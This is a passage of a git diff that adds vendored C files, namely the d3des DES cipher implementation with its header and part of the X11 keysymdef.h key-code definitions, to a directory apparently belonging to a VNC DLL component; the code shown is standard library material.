Ray Lau, + * for humouring me on. + * + * Copyright (c) 1988,1989,1990,1991,1992 by Richard Outerbridge. + * (GEnie : OUTER; CIS : [71755,204]) Graven Imagery, 1992. + */ + +#include "d3des.h" + +static void scrunch(unsigned char *, unsigned long *); +static void unscrun(unsigned long *, unsigned char *); +static void desfunc(unsigned long *, unsigned long *); +static void cookey(unsigned long *); + +static unsigned long KnL[32] = { 0L }; +static unsigned long KnR[32] = { 0L }; +static unsigned long Kn3[32] = { 0L }; +static unsigned char Df_Key[24] = { + 0x01,0x23,0x45,0x67,0x89,0xab,0xcd,0xef, + 0xfe,0xdc,0xba,0x98,0x76,0x54,0x32,0x10, + 0x89,0xab,0xcd,0xef,0x01,0x23,0x45,0x67 }; + +static unsigned short bytebit[8] = { + 01, 02, 04, 010, 020, 040, 0100, 0200 }; + +static unsigned long bigbyte[24] = { + 0x800000L, 0x400000L, 0x200000L, 0x100000L, + 0x80000L, 0x40000L, 0x20000L, 0x10000L, + 0x8000L, 0x4000L, 0x2000L, 0x1000L, + 0x800L, 0x400L, 0x200L, 0x100L, + 0x80L, 0x40L, 0x20L, 0x10L, + 0x8L, 0x4L, 0x2L, 0x1L }; + +/* Use the key schedule specified in the Standard (ANSI X3.92-1981). */ + +static unsigned char pc1[56] = { + 56, 48, 40, 32, 24, 16, 8, 0, 57, 49, 41, 33, 25, 17, + 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, + 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, + 13, 5, 60, 52, 44, 36, 28, 20, 12, 4, 27, 19, 11, 3 }; + +static unsigned char totrot[16] = { + 1,2,4,6,8,10,12,14,15,17,19,21,23,25,27,28 }; + +static unsigned char pc2[48] = { + 13, 16, 10, 23, 0, 4, 2, 27, 14, 5, 20, 9, + 22, 18, 11, 3, 25, 7, 15, 6, 26, 19, 12, 1, + 40, 51, 30, 36, 46, 54, 29, 39, 50, 44, 32, 47, + 43, 48, 38, 55, 33, 52, 45, 41, 49, 35, 28, 31 }; + +void deskey(key, edf) /* Thanks to James Gillogly & Phil Karn! */ +unsigned char *key; +int edf; +{ + register int i, j, l, m, n; + unsigned char pc1m[56], pcr[56]; + unsigned long kn[32]; + + for ( j = 0; j < 56; j++ ) { + l = pc1[j]; + m = l & 07; + pc1m[j] = (key[l >> 3] & bytebit[m]) ? 1 : 0; + } + for( i = 0; i < 16; i++ ) { + if( edf == DE1 ) m = (15 - i) << 1; + else m = i << 1; + n = m + 1; + kn[m] = kn[n] = 0L; + for( j = 0; j < 28; j++ ) { + l = j + totrot[i]; + if( l < 28 ) pcr[j] = pc1m[l]; + else pcr[j] = pc1m[l - 28]; + } + for( j = 28; j < 56; j++ ) { + l = j + totrot[i]; + if( l < 56 ) pcr[j] = pc1m[l]; + else pcr[j] = pc1m[l - 28]; + } + for( j = 0; j < 24; j++ ) { + if( pcr[pc2[j]] ) kn[m] |= bigbyte[j]; + if( pcr[pc2[j+24]] ) kn[n] |= bigbyte[j]; + } + } + cookey(kn); + return; + } + +static void cookey(raw1) +register unsigned long *raw1; +{ + register unsigned long *cook, *raw0; + unsigned long dough[32]; + register int i; + + cook = dough; + for( i = 0; i < 16; i++, raw1++ ) { + raw0 = raw1++; + *cook = (*raw0 & 0x00fc0000L) << 6; + *cook |= (*raw0 & 0x00000fc0L) << 10; + *cook |= (*raw1 & 0x00fc0000L) >> 10; + *cook++ |= (*raw1 & 0x00000fc0L) >> 6; + *cook = (*raw0 & 0x0003f000L) << 12; + *cook |= (*raw0 & 0x0000003fL) << 16; + *cook |= (*raw1 & 0x0003f000L) >> 4; + *cook++ |= (*raw1 & 0x0000003fL); + } + usekey(dough); + return; + } + +void cpkey(into) +register unsigned long *into; +{ + register unsigned long *from, *endp; + + from = KnL, endp = &KnL[32]; + while( from < endp ) *into++ = *from++; + return; + } + +void usekey(from) +register unsigned long *from; +{ + register unsigned long *to, *endp; + + to = KnL, endp = &KnL[32]; + while( to < endp ) *to++ = *from++; + return; + } + +void des(inblock, outblock) +unsigned char *inblock, *outblock; +{ + unsigned long work[2]; + + scrunch(inblock, work); + desfunc(work, KnL); + unscrun(work, outblock); + return; + } + +static void scrunch(outof, into) +register unsigned char *outof; +register unsigned long *into; +{ + *into = (*outof++ & 0xffL) << 24; + *into |= (*outof++ & 0xffL) << 16; + *into |= (*outof++ & 0xffL) << 8; + *into++ |= (*outof++ & 0xffL); + *into = (*outof++ & 0xffL) << 24; + *into |= (*outof++ & 0xffL) << 16; + *into |= (*outof++ & 0xffL) << 8; + *into |= (*outof & 0xffL); + return; + } + +static void unscrun(outof, into) +register unsigned long *outof; +register unsigned char *into; +{ + *into++ = (*outof >> 24) & 0xffL; + *into++ = (*outof >> 16) & 0xffL; + *into++ = (*outof >> 8) & 0xffL; + *into++ = *outof++ & 0xffL; + *into++ = (*outof >> 24) & 0xffL; + *into++ = (*outof >> 16) & 0xffL; + *into++ = (*outof >> 8) & 0xffL; + *into = *outof & 0xffL; + return; + } + +static unsigned long SP1[64] = { + 0x01010400L, 0x00000000L, 0x00010000L, 0x01010404L, + 0x01010004L, 0x00010404L, 0x00000004L, 0x00010000L, + 0x00000400L, 0x01010400L, 0x01010404L, 0x00000400L, + 0x01000404L, 0x01010004L, 0x01000000L, 0x00000004L, + 0x00000404L, 0x01000400L, 0x01000400L, 0x00010400L, + 0x00010400L, 0x01010000L, 0x01010000L, 0x01000404L, + 0x00010004L, 0x01000004L, 0x01000004L, 0x00010004L, + 0x00000000L, 0x00000404L, 0x00010404L, 0x01000000L, + 0x00010000L, 0x01010404L, 0x00000004L, 0x01010000L, + 0x01010400L, 0x01000000L, 0x01000000L, 0x00000400L, + 0x01010004L, 0x00010000L, 0x00010400L, 0x01000004L, + 0x00000400L, 0x00000004L, 0x01000404L, 0x00010404L, + 0x01010404L, 0x00010004L, 0x01010000L, 0x01000404L, + 0x01000004L, 0x00000404L, 0x00010404L, 0x01010400L, + 0x00000404L, 0x01000400L, 0x01000400L, 0x00000000L, + 0x00010004L, 0x00010400L, 0x00000000L, 0x01010004L }; + +static unsigned long SP2[64] = { + 0x80108020L, 0x80008000L, 0x00008000L, 0x00108020L, + 0x00100000L, 0x00000020L, 0x80100020L, 0x80008020L, + 0x80000020L, 0x80108020L, 0x80108000L, 0x80000000L, + 0x80008000L, 0x00100000L, 0x00000020L, 0x80100020L, + 0x00108000L, 0x00100020L, 0x80008020L, 0x00000000L, + 0x80000000L, 0x00008000L, 0x00108020L, 0x80100000L, + 0x00100020L, 0x80000020L, 0x00000000L, 0x00108000L, + 0x00008020L, 0x80108000L, 0x80100000L, 0x00008020L, + 0x00000000L, 0x00108020L, 0x80100020L, 0x00100000L, + 0x80008020L, 0x80100000L, 0x80108000L, 0x00008000L, + 0x80100000L, 0x80008000L, 0x00000020L, 0x80108020L, + 0x00108020L, 0x00000020L, 0x00008000L, 0x80000000L, + 0x00008020L, 0x80108000L, 0x00100000L, 0x80000020L, + 0x00100020L, 0x80008020L, 0x80000020L, 0x00100020L, + 0x00108000L, 0x00000000L, 0x80008000L, 0x00008020L, + 0x80000000L, 0x80100020L, 0x80108020L, 0x00108000L }; + +static unsigned long SP3[64] = { + 0x00000208L, 0x08020200L, 0x00000000L, 0x08020008L, + 0x08000200L, 0x00000000L, 0x00020208L, 0x08000200L, + 0x00020008L, 0x08000008L, 0x08000008L, 0x00020000L, + 0x08020208L, 0x00020008L, 0x08020000L, 0x00000208L, + 0x08000000L, 0x00000008L, 0x08020200L, 0x00000200L, + 0x00020200L, 0x08020000L, 0x08020008L, 0x00020208L, + 0x08000208L, 0x00020200L, 0x00020000L, 0x08000208L, + 0x00000008L, 0x08020208L, 0x00000200L, 0x08000000L, + 0x08020200L, 0x08000000L, 0x00020008L, 0x00000208L, + 0x00020000L, 0x08020200L, 0x08000200L, 0x00000000L, + 0x00000200L, 0x00020008L, 0x08020208L, 0x08000200L, + 0x08000008L, 0x00000200L, 0x00000000L, 0x08020008L, + 0x08000208L, 0x00020000L, 0x08000000L, 0x08020208L, + 0x00000008L, 0x00020208L, 0x00020200L, 0x08000008L, + 0x08020000L, 0x08000208L, 0x00000208L, 0x08020000L, + 0x00020208L, 0x00000008L, 0x08020008L, 0x00020200L }; + +static unsigned long SP4[64] = { + 0x00802001L, 0x00002081L, 0x00002081L, 0x00000080L, + 0x00802080L, 0x00800081L, 0x00800001L, 0x00002001L, + 0x00000000L, 0x00802000L, 0x00802000L, 0x00802081L, + 0x00000081L, 0x00000000L, 0x00800080L, 0x00800001L, + 0x00000001L, 0x00002000L, 0x00800000L, 0x00802001L, + 0x00000080L, 0x00800000L, 0x00002001L, 0x00002080L, + 0x00800081L, 0x00000001L, 0x00002080L, 0x00800080L, + 0x00002000L, 0x00802080L, 0x00802081L, 0x00000081L, + 0x00800080L, 0x00800001L, 0x00802000L, 0x00802081L, + 0x00000081L, 0x00000000L, 0x00000000L, 0x00802000L, + 0x00002080L, 0x00800080L, 0x00800081L, 0x00000001L, + 0x00802001L, 0x00002081L, 0x00002081L, 0x00000080L, + 0x00802081L, 0x00000081L, 0x00000001L, 0x00002000L, + 0x00800001L, 0x00002001L, 0x00802080L, 0x00800081L, + 0x00002001L, 0x00002080L, 0x00800000L, 0x00802001L, + 0x00000080L, 0x00800000L, 0x00002000L, 0x00802080L }; + +static unsigned long SP5[64] = { + 0x00000100L, 0x02080100L, 0x02080000L, 0x42000100L, + 0x00080000L, 0x00000100L, 0x40000000L, 0x02080000L, + 0x40080100L, 0x00080000L, 0x02000100L, 0x40080100L, + 0x42000100L, 0x42080000L, 0x00080100L, 0x40000000L, + 0x02000000L, 0x40080000L, 0x40080000L, 0x00000000L, + 0x40000100L, 0x42080100L, 0x42080100L, 0x02000100L, + 0x42080000L, 0x40000100L, 0x00000000L, 0x42000000L, + 0x02080100L, 0x02000000L, 0x42000000L, 0x00080100L, + 0x00080000L, 0x42000100L, 0x00000100L, 0x02000000L, + 0x40000000L, 0x02080000L, 0x42000100L, 0x40080100L, + 0x02000100L, 0x40000000L, 0x42080000L, 0x02080100L, + 0x40080100L, 0x00000100L, 0x02000000L, 0x42080000L, + 0x42080100L, 0x00080100L, 0x42000000L, 0x42080100L, + 0x02080000L, 0x00000000L, 0x40080000L, 0x42000000L, + 0x00080100L, 0x02000100L, 0x40000100L, 0x00080000L, + 0x00000000L, 0x40080000L, 0x02080100L, 0x40000100L }; + +static unsigned long SP6[64] = { + 0x20000010L, 0x20400000L, 0x00004000L, 0x20404010L, + 0x20400000L, 0x00000010L, 0x20404010L, 0x00400000L, + 0x20004000L, 0x00404010L, 0x00400000L, 0x20000010L, + 0x00400010L, 0x20004000L, 0x20000000L, 0x00004010L, + 0x00000000L, 0x00400010L, 0x20004010L, 0x00004000L, + 0x00404000L, 0x20004010L, 0x00000010L, 0x20400010L, + 0x20400010L, 0x00000000L, 0x00404010L, 0x20404000L, + 0x00004010L, 0x00404000L, 0x20404000L, 0x20000000L, + 0x20004000L, 0x00000010L, 0x20400010L, 0x00404000L, + 0x20404010L, 0x00400000L, 0x00004010L, 0x20000010L, + 0x00400000L, 0x20004000L, 0x20000000L, 0x00004010L, + 0x20000010L, 0x20404010L, 0x00404000L, 0x20400000L, + 0x00404010L, 0x20404000L, 0x00000000L, 0x20400010L, + 0x00000010L, 0x00004000L, 0x20400000L, 0x00404010L, + 0x00004000L, 0x00400010L, 0x20004010L, 0x00000000L, + 0x20404000L, 0x20000000L, 0x00400010L, 0x20004010L }; + +static unsigned long SP7[64] = { + 0x00200000L, 0x04200002L, 0x04000802L, 0x00000000L, + 0x00000800L, 0x04000802L, 0x00200802L, 0x04200800L, + 0x04200802L, 0x00200000L, 0x00000000L, 0x04000002L, + 0x00000002L, 0x04000000L, 0x04200002L, 0x00000802L, + 0x04000800L, 0x00200802L, 0x00200002L, 0x04000800L, + 0x04000002L, 0x04200000L, 0x04200800L, 0x00200002L, + 0x04200000L, 0x00000800L, 0x00000802L, 0x04200802L, + 0x00200800L, 0x00000002L, 0x04000000L, 0x00200800L, + 0x04000000L, 0x00200800L, 0x00200000L, 0x04000802L, + 0x04000802L, 0x04200002L, 0x04200002L, 0x00000002L, + 0x00200002L, 0x04000000L, 0x04000800L, 0x00200000L, + 0x04200800L, 0x00000802L, 0x00200802L, 0x04200800L, + 0x00000802L, 0x04000002L, 0x04200802L, 0x04200000L, + 0x00200800L, 0x00000000L, 0x00000002L, 0x04200802L, + 0x00000000L, 0x00200802L, 0x04200000L, 0x00000800L, + 0x04000002L, 0x04000800L, 0x00000800L, 0x00200002L }; + +static unsigned long SP8[64] = { + 0x10001040L, 0x00001000L, 0x00040000L, 0x10041040L, + 0x10000000L, 0x10001040L, 0x00000040L, 0x10000000L, + 0x00040040L, 0x10040000L, 0x10041040L, 0x00041000L, + 0x10041000L, 0x00041040L, 0x00001000L, 0x00000040L, + 0x10040000L, 0x10000040L, 0x10001000L, 0x00001040L, + 0x00041000L, 0x00040040L, 0x10040040L, 0x10041000L, + 0x00001040L, 0x00000000L, 0x00000000L, 0x10040040L, + 0x10000040L, 0x10001000L, 0x00041040L, 0x00040000L, + 0x00041040L, 0x00040000L, 0x10041000L, 0x00001000L, + 0x00000040L, 0x10040040L, 0x00001000L, 0x00041040L, + 0x10001000L, 0x00000040L, 0x10000040L, 0x10040000L, + 0x10040040L, 0x10000000L, 0x00040000L, 0x10001040L, + 0x00000000L, 0x10041040L, 0x00040040L, 0x10000040L, + 0x10040000L, 0x10001000L, 0x10001040L, 0x00000000L, + 0x10041040L, 0x00041000L, 0x00041000L, 0x00001040L, + 0x00001040L, 0x00040040L, 0x10000000L, 0x10041000L }; + +static void desfunc(block, keys) +register unsigned long *block, *keys; +{ + register unsigned long fval, work, right, leftt; + register int round; + + leftt = block[0]; + right = block[1]; + work = ((leftt >> 4) ^ right) & 0x0f0f0f0fL; + right ^= work; + leftt ^= (work << 4); + work = ((leftt >> 16) ^ right) & 0x0000ffffL; + right ^= work; + leftt ^= (work << 16); + work = ((right >> 2) ^ leftt) & 0x33333333L; + leftt ^= work; + right ^= (work << 2); + work = ((right >> 8) ^ leftt) & 0x00ff00ffL; + leftt ^= work; + right ^= (work << 8); + right = ((right << 1) | ((right >> 31) & 1L)) & 0xffffffffL; + work = (leftt ^ right) & 0xaaaaaaaaL; + leftt ^= work; + right ^= work; + leftt = ((leftt << 1) | ((leftt >> 31) & 1L)) & 0xffffffffL; + + for( round = 0; round < 8; round++ ) { + work = (right << 28) | (right >> 4); + work ^= *keys++; + fval = SP7[ work & 0x3fL]; + fval |= SP5[(work >> 8) & 0x3fL]; + fval |= SP3[(work >> 16) & 0x3fL]; + fval |= SP1[(work >> 24) & 0x3fL]; + work = right ^ *keys++; + fval |= SP8[ work & 0x3fL]; + fval |= SP6[(work >> 8) & 0x3fL]; + fval |= SP4[(work >> 16) & 0x3fL]; + fval |= SP2[(work >> 24) & 0x3fL]; + leftt ^= fval; + work = (leftt << 28) | (leftt >> 4); + work ^= *keys++; + fval = SP7[ work & 0x3fL]; + fval |= SP5[(work >> 8) & 0x3fL]; + fval |= SP3[(work >> 16) & 0x3fL]; + fval |= SP1[(work >> 24) & 0x3fL]; + work = leftt ^ *keys++; + fval |= SP8[ work & 0x3fL]; + fval |= SP6[(work >> 8) & 0x3fL]; + fval |= SP4[(work >> 16) & 0x3fL]; + fval |= SP2[(work >> 24) & 0x3fL]; + right ^= fval; + } + + right = (right << 31) | (right >> 1); + work = (leftt ^ right) & 0xaaaaaaaaL; + leftt ^= work; + right ^= work; + leftt = (leftt << 31) | (leftt >> 1); + work = ((leftt >> 8) ^ right) & 0x00ff00ffL; + right ^= work; + leftt ^= (work << 8); + work = ((leftt >> 2) ^ right) & 0x33333333L; + right ^= work; + leftt ^= (work << 2); + work = ((right >> 16) ^ leftt) & 0x0000ffffL; + leftt ^= work; + right ^= (work << 16); + work = ((right >> 4) ^ leftt) & 0x0f0f0f0fL; + leftt ^= work; + right ^= (work << 4); + *block++ = right; + *block = leftt; + return; + } + +/* Validation sets: + * + * Single-length key, single-length plaintext - + * Key : 0123 4567 89ab cdef + * Plain : 0123 4567 89ab cde7 + * Cipher : c957 4425 6a5e d31d + * + * Double-length key, single-length plaintext - + * Key : 0123 4567 89ab cdef fedc ba98 7654 3210 + * Plain : 0123 4567 89ab cde7 + * Cipher : 7f1d 0a77 826b 8aff + * + * Double-length key, double-length plaintext - + * Key : 0123 4567 89ab cdef fedc ba98 7654 3210 + * Plain : 0123 4567 89ab cdef 0123 4567 89ab cdff + * Cipher : 27a0 8440 406a df60 278f 47cf 42d6 15d7 + * + * Triple-length key, single-length plaintext - + * Key : 0123 4567 89ab cdef fedc ba98 7654 3210 89ab cdef 0123 4567 + * Plain : 0123 4567 89ab cde7 + * Cipher : de0b 7c06 ae5e 0ed5 + * + * Triple-length key, double-length plaintext - + * Key : 0123 4567 89ab cdef fedc ba98 7654 3210 89ab cdef 0123 4567 + * Plain : 0123 4567 89ab cdef 0123 4567 89ab cdff + * Cipher : ad0d 1b30 ac17 cf07 0ed1 1c63 81e4 4de5 + * + * d3des V5.0a rwo 9208.07 18:44 Graven Imagery + **********************************************************************/ diff --git a/external/source/reflective_vncdll/winvnc/winvnc/d3des.h b/external/source/reflective_vncdll/winvnc/winvnc/d3des.h new file mode 100644 index 0000000000..feae87f061 --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/winvnc/d3des.h @@ -0,0 +1,51 @@ +/* + * This is D3DES (V5.09) by Richard Outerbridge with the double and + * triple-length support removed for use in VNC. + * + * These changes are + * Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved. + * + * This software is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. + */ + +/* d3des.h - + * + * Headers and defines for d3des.c + * Graven Imagery, 1992. + * + * Copyright (c) 1988,1989,1990,1991,1992 by Richard Outerbridge + * (GEnie : OUTER; CIS : [71755,204]) + */ + +#define EN0 0 /* MODE == encrypt */ +#define DE1 1 /* MODE == decrypt */ + +extern void deskey(unsigned char *, int); +/* hexkey[8] MODE + * Sets the internal key register according to the hexadecimal + * key contained in the 8 bytes of hexkey, according to the DES, + * for encryption or decryption according to MODE. + */ + +extern void usekey(unsigned long *); +/* cookedkey[32] + * Loads the internal key register with the data in cookedkey. + */ + +extern void cpkey(unsigned long *); +/* cookedkey[32] + * Copies the contents of the internal key register into the storage + * located at &cookedkey[0]. + */ + +extern void des(unsigned char *, unsigned char *); +/* from[8] to[8] + * Encrypts/Decrypts (according to the key currently loaded in the + * internal key register) one block of eight bytes at address 'from' + * into the block at address 'to'. They can be the same. + */ + +/* d3des.h V5.09 rwo 9208.04 15:06 Graven Imagery + ********************************************************************/ diff --git a/external/source/reflective_vncdll/winvnc/winvnc/keysymdef.h b/external/source/reflective_vncdll/winvnc/winvnc/keysymdef.h new file mode 100644 index 0000000000..87274b756a --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/winvnc/keysymdef.h @@ -0,0 +1,1595 @@ +/* $TOG: keysymdef.h /main/28 1998/05/22 16:18:01 kaleb $ */ + +/*********************************************************** +Copyright 1987, 1994, 1998 The Open Group + +All Rights Reserved. + +The above copyright notice and this permission notice shall be included +in all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS +OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. +IN NO EVENT SHALL THE OPEN GROUP BE LIABLE FOR ANY CLAIM, DAMAGES OR +OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, +ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR +OTHER DEALINGS IN THE SOFTWARE. + +Except as contained in this notice, the name of The Open Group shall +not be used in advertising or otherwise to promote the sale, use or +other dealings in this Software without prior written authorization +from The Open Group. + + +Copyright 1987 by Digital Equipment Corporation, Maynard, Massachusetts + + All Rights Reserved + +Permission to use, copy, modify, and distribute this software and its +documentation for any purpose and without fee is hereby granted, +provided that the above copyright notice appear in all copies and that +both that copyright notice and this permission notice appear in +supporting documentation, and that the name of Digital not be +used in advertising or publicity pertaining to distribution of the +software without specific, written prior permission. + +DIGITAL DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE, INCLUDING +ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS, IN NO EVENT SHALL +DIGITAL BE LIABLE FOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR +ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, +WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, +ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS +SOFTWARE. + +******************************************************************/ + +#define XK_VoidSymbol 0xFFFFFF /* void symbol */ + +#ifdef XK_MISCELLANY +/* + * TTY Functions, cleverly chosen to map to ascii, for convenience of + * programming, but could have been arbitrary (at the cost of lookup + * tables in client code. + */ + +#define XK_BackSpace 0xFF08 /* back space, back char */ +#define XK_Tab 0xFF09 +#define XK_Linefeed 0xFF0A /* Linefeed, LF */ +#define XK_Clear 0xFF0B +#define XK_Return 0xFF0D /* Return, enter */ +#define XK_Pause 0xFF13 /* Pause, hold */ +#define XK_Scroll_Lock 0xFF14 +#define XK_Sys_Req 0xFF15 +#define XK_Escape 0xFF1B +#define XK_Delete 0xFFFF /* Delete, rubout */ + + + +/* International & multi-key character composition */ + +#define XK_Multi_key 0xFF20 /* Multi-key character compose */ +#define XK_Codeinput 0xFF37 +#define XK_SingleCandidate 0xFF3C +#define XK_MultipleCandidate 0xFF3D +#define XK_PreviousCandidate 0xFF3E + +/* Japanese keyboard support */ + +#define XK_Kanji 0xFF21 /* Kanji, Kanji convert */ +#define XK_Muhenkan 0xFF22 /* Cancel Conversion */ +#define XK_Henkan_Mode 0xFF23 /* Start/Stop Conversion */ +#define XK_Henkan 0xFF23 /* Alias for Henkan_Mode */ +#define XK_Romaji 0xFF24 /* to Romaji */ +#define XK_Hiragana 0xFF25 /* to Hiragana */ +#define XK_Katakana 0xFF26 /* to Katakana */ +#define XK_Hiragana_Katakana 0xFF27 /* Hiragana/Katakana toggle */ +#define XK_Zenkaku 0xFF28 /* to Zenkaku */ +#define XK_Hankaku 0xFF29 /* to Hankaku */ +#define XK_Zenkaku_Hankaku 0xFF2A /* Zenkaku/Hankaku toggle */ +#define XK_Touroku 0xFF2B /* Add to Dictionary */ +#define XK_Massyo 0xFF2C /* Delete from Dictionary */ +#define XK_Kana_Lock 0xFF2D /* Kana Lock */ +#define XK_Kana_Shift 0xFF2E /* Kana Shift */ +#define XK_Eisu_Shift 0xFF2F /* Alphanumeric Shift */ +#define XK_Eisu_toggle 0xFF30 /* Alphanumeric toggle */ +#define XK_Kanji_Bangou 0xFF37 /* Codeinput */ +#define XK_Zen_Koho 0xFF3D /* Multiple/All Candidate(s) */ +#define XK_Mae_Koho 0xFF3E /* Previous Candidate */ + +/* 0xFF31 thru 0xFF3F are under XK_KOREAN */ + +/* Cursor control & motion */ + +#define XK_Home 0xFF50 +#define XK_Left 0xFF51 /* Move left, left arrow */ +#define XK_Up 0xFF52 /* Move up, up arrow */ +#define XK_Right 0xFF53 /* Move right, right arrow */ +#define XK_Down 0xFF54 /* Move down, down arrow */ +#define XK_Prior 0xFF55 /* Prior, previous */ +#define XK_Page_Up 0xFF55 +#define XK_Next 0xFF56 /* Next */ +#define XK_Page_Down 0xFF56 +#define XK_End 0xFF57 /* EOL */ +#define XK_Begin 0xFF58 /* BOL */ + + +/* Misc Functions */ + +#define XK_Select 0xFF60 /* Select, mark */ +#define XK_Print 0xFF61 +#define XK_Execute 0xFF62 /* Execute, run, do */ +#define XK_Insert 0xFF63 /* Insert, insert here */ +#define XK_Undo 0xFF65 /* Undo, oops */ +#define XK_Redo 0xFF66 /* redo, again */ +#define XK_Menu 0xFF67 +#define XK_Find 0xFF68 /* Find, search */ +#define XK_Cancel 0xFF69 /* Cancel, stop, abort, exit */ +#define XK_Help 0xFF6A /* Help */ +#define XK_Break 0xFF6B +#define XK_Mode_switch 0xFF7E /* Character set switch */ +#define XK_script_switch 0xFF7E /* Alias for mode_switch */ +#define XK_Num_Lock 0xFF7F + +/* Keypad Functions, keypad numbers cleverly chosen to map to ascii */ + +#define XK_KP_Space 0xFF80 /* space */ +#define XK_KP_Tab 0xFF89 +#define XK_KP_Enter 0xFF8D /* enter */ +#define XK_KP_F1 0xFF91 /* PF1, KP_A, ... */ +#define XK_KP_F2 0xFF92 +#define XK_KP_F3 0xFF93 +#define XK_KP_F4 0xFF94 +#define XK_KP_Home 0xFF95 +#define XK_KP_Left 0xFF96 +#define XK_KP_Up 0xFF97 +#define XK_KP_Right 0xFF98 +#define XK_KP_Down 0xFF99 +#define XK_KP_Prior 0xFF9A +#define XK_KP_Page_Up 0xFF9A +#define XK_KP_Next 0xFF9B +#define XK_KP_Page_Down 0xFF9B +#define XK_KP_End 0xFF9C +#define XK_KP_Begin 0xFF9D +#define XK_KP_Insert 0xFF9E +#define XK_KP_Delete 0xFF9F +#define XK_KP_Equal 0xFFBD /* equals */ +#define XK_KP_Multiply 0xFFAA +#define XK_KP_Add 0xFFAB +#define XK_KP_Separator 0xFFAC /* separator, often comma */ +#define XK_KP_Subtract 0xFFAD +#define XK_KP_Decimal 0xFFAE +#define XK_KP_Divide 0xFFAF + +#define XK_KP_0 0xFFB0 +#define XK_KP_1 0xFFB1 +#define XK_KP_2 0xFFB2 +#define XK_KP_3 0xFFB3 +#define XK_KP_4 0xFFB4 +#define XK_KP_5 0xFFB5 +#define XK_KP_6 0xFFB6 +#define XK_KP_7 0xFFB7 +#define XK_KP_8 0xFFB8 +#define XK_KP_9 0xFFB9 + + + +/* + * Auxilliary Functions; note the duplicate definitions for left and right + * function keys; Sun keyboards and a few other manufactures have such + * function key groups on the left and/or right sides of the keyboard. + * We've not found a keyboard with more than 35 function keys total. + */ + +#define XK_F1 0xFFBE +#define XK_F2 0xFFBF +#define XK_F3 0xFFC0 +#define XK_F4 0xFFC1 +#define XK_F5 0xFFC2 +#define XK_F6 0xFFC3 +#define XK_F7 0xFFC4 +#define XK_F8 0xFFC5 +#define XK_F9 0xFFC6 +#define XK_F10 0xFFC7 +#define XK_F11 0xFFC8 +#define XK_L1 0xFFC8 +#define XK_F12 0xFFC9 +#define XK_L2 0xFFC9 +#define XK_F13 0xFFCA +#define XK_L3 0xFFCA +#define XK_F14 0xFFCB +#define XK_L4 0xFFCB +#define XK_F15 0xFFCC +#define XK_L5 0xFFCC +#define XK_F16 0xFFCD +#define XK_L6 0xFFCD +#define XK_F17 0xFFCE +#define XK_L7 0xFFCE +#define XK_F18 0xFFCF +#define XK_L8 0xFFCF +#define XK_F19 0xFFD0 +#define XK_L9 0xFFD0 +#define XK_F20 0xFFD1 +#define XK_L10 0xFFD1 +#define XK_F21 0xFFD2 +#define XK_R1 0xFFD2 +#define XK_F22 0xFFD3 +#define XK_R2 0xFFD3 +#define XK_F23 0xFFD4 +#define XK_R3 0xFFD4 +#define XK_F24 0xFFD5 +#define XK_R4 0xFFD5 +#define XK_F25 0xFFD6 +#define XK_R5 0xFFD6 +#define XK_F26 0xFFD7 +#define XK_R6 0xFFD7 +#define XK_F27 0xFFD8 +#define XK_R7 0xFFD8 +#define XK_F28 0xFFD9 +#define XK_R8 0xFFD9 +#define XK_F29 0xFFDA +#define XK_R9 0xFFDA +#define XK_F30 0xFFDB +#define XK_R10 0xFFDB +#define XK_F31 0xFFDC +#define XK_R11 0xFFDC +#define XK_F32 0xFFDD +#define XK_R12 0xFFDD +#define XK_F33 0xFFDE +#define XK_R13 0xFFDE +#define XK_F34 0xFFDF +#define XK_R14 0xFFDF +#define XK_F35 0xFFE0 +#define XK_R15 0xFFE0 + +/* Modifiers */ + +#define XK_Shift_L 0xFFE1 /* Left shift */ +#define XK_Shift_R 0xFFE2 /* Right shift */ +#define XK_Control_L 0xFFE3 /* Left control */ +#define XK_Control_R 0xFFE4 /* Right control */ +#define XK_Caps_Lock 0xFFE5 /* Caps lock */ +#define XK_Shift_Lock 0xFFE6 /* Shift lock */ + +#define XK_Meta_L 0xFFE7 /* Left meta */ +#define XK_Meta_R 0xFFE8 /* Right meta */ +#define XK_Alt_L 0xFFE9 /* Left alt */ +#define XK_Alt_R 0xFFEA /* Right alt */ +#define XK_Super_L 0xFFEB /* Left super */ +#define XK_Super_R 0xFFEC /* Right super */ +#define XK_Hyper_L 0xFFED /* Left hyper */ +#define XK_Hyper_R 0xFFEE /* Right hyper */ +#endif /* XK_MISCELLANY */ + +/* + * ISO 9995 Function and Modifier Keys + * Byte 3 = 0xFE + */ + +#ifdef XK_XKB_KEYS +#define XK_ISO_Lock 0xFE01 +#define XK_ISO_Level2_Latch 0xFE02 +#define XK_ISO_Level3_Shift 0xFE03 +#define XK_ISO_Level3_Latch 0xFE04 +#define XK_ISO_Level3_Lock 0xFE05 +#define XK_ISO_Group_Shift 0xFF7E /* Alias for mode_switch */ +#define XK_ISO_Group_Latch 0xFE06 +#define XK_ISO_Group_Lock 0xFE07 +#define XK_ISO_Next_Group 0xFE08 +#define XK_ISO_Next_Group_Lock 0xFE09 +#define XK_ISO_Prev_Group 0xFE0A +#define XK_ISO_Prev_Group_Lock 0xFE0B +#define XK_ISO_First_Group 0xFE0C +#define XK_ISO_First_Group_Lock 0xFE0D +#define XK_ISO_Last_Group 0xFE0E 